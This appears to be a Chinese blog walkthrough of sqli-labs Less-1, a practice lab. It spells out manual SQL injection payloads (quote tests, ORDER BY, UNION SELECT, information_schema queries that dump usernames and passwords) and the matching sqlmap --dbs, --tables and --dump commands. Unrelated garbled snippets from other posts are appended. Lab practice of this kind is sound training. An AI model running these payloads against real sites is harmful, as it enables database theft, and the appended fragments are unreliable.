sqli labs第一關 詳解

2022-06-06 09:09:10 字數 3116 閱讀 8338

sqli-labs第一關

方法一:手工注入

方法二:sqlmap工具

兩種方式,都可以學學,順便學會用sqlmap,也是不錯的。不多說,我們開始吧

方法一:

來到第一關,圖上說我們需要乙個數字的引數

於是我們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯

每張截圖上面頁面中有select查詢語句,這是我在第一關的原始碼中加上了echo "$sql

";  為了能夠跟清楚的了解sql注入的原理 

於是我們來判斷一下是否為字元型注入,嘗試?id=1'發現頁面報錯,此題應該為字元型注入

於是我們拼接字串?id=1' and '1'='1頁面回顯正常

然後我們使用order by來確定表中的列數,為什麼我們要確定表中字段的列數呢?是因為我們的union聯合查詢

聯合查詢特點:

1、要求多條查詢語句的查詢列數是一致的!

2、要求多條查詢語句的查詢的每一列的型別和順序最好一致

3、union關鍵字預設去重,如果使用union all 可以包含重複項

於是我們構造?id=1' and '1'='1' order by 1--+  頁面回顯正常

?id=1' and '1'='1' order by 2--+  頁面回顯正常

?id=1' and '1'='1' order by 3--+  頁面回顯正常

?id=1' and '1'='1' order by 4--+  出現報錯介面

然後我們就確定了字段數,於是用聯合查詢?id=-1' union select 1,2,3--+    (將id弄成乙個負數的值,使前面的語句失效)然後看看union查詢是否有回顯位

這樣我們就看到了2,3這兩個回顯位

然後我們利用union查詢,檢視資料庫的版本和資料庫名,這裡面我們再補充點知識點

version():檢視資料庫版本

database():檢視使用的資料庫

user():檢視當前使用者

limit:limit子句分批來獲取所有資料

group_concat():一次性獲取所有的資料庫資訊

當我們簡單了解了這個之後,我們再進行下面的步驟,相信大家有了深刻的理解

接下來利用這兩個回顯位來查詢資料庫,和資料庫版本資訊

然後我們知道了資料庫是security,版本資訊:5.7.26

再爆表之前我們先了解一波知識點:

information_schema.tables:包含了資料庫裡所有的表

table_name:表名

table_schema:資料庫名

column_name:欄位名

然後我們利用union查詢來爆出表面寧

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

於是我們爆出了表名

然後,由我們正常的思維,我們的賬號和密碼肯定在一張表上,我們看到了users表,

於是我們檢視一下這張表的欄位名

我們看到了username和password欄位,

然後我們就去查詢字段資訊

獲得了所有的賬號和密碼,這樣我們就順利的拿到了很重要的資訊。

方法二:

--dbs:是檢視所有的資料庫

--tables:是檢視所有的表

--columns:是檢視表中所有的欄位名

--dump:是查詢哪個表的資料

因為我們已經知道了注入點的位置,於是我們直接用sqlmap跑

命令:sqlmap.py -u "有注入點的url" --dbs

我們看到了security資料庫,然後我們開始爆表

命令:sqlmap.py -u "有注入點的url" -d security --tables

接下來我們開始爆欄位名

命令:sqlmap.py -u "有注入點的url" -d security -t users --columns

於是我們就可以爆資訊了

命令:sqlmap.py -u "有注入點的url" -d security -t users -c "id,username,password" --dump

讓後我們就得到了使用者名稱和密碼了。

glidedsky爬蟲闖關 第一關

今天無意中發現了乙個練習爬蟲的 做的挺不錯的 強烈推薦 第一關是將網頁中所有的數字相加,因為格式十分整齊,可以用多種方法來實現,一併記錄在這裡了,注意在get的時候要加上在cookie import requests from bs4 import beautifulsoup import refr...

3277 2015 2 掃雷遊戲(基礎第一關)

題目描述 掃雷遊戲是一款十分經典的單機小遊戲。在n行m列的雷區中有一些格仔含有地雷 稱之為地雷格 其他格仔不含地雷 稱之為非地雷格 玩家翻開乙個非地雷格時,該格將會出現乙個數字 提示周圍格仔中有多少個是地雷格。遊戲的目標是在不翻出任何地雷格的條件下,找出所有的非地雷格。現在給出n行m列的雷區中的地雷...

upload第一關至第五關

前端認證 一共有四種繞過前端上傳的方法。上傳時字尾名為jpg,再用bp抓包將其改為hph 按f12開啟 function checkfile 1判斷是不是後端的校驗 2測試上傳檔名 一般jpg可以 3content type 值的修改 content type image jpeg 與第一關第二種方...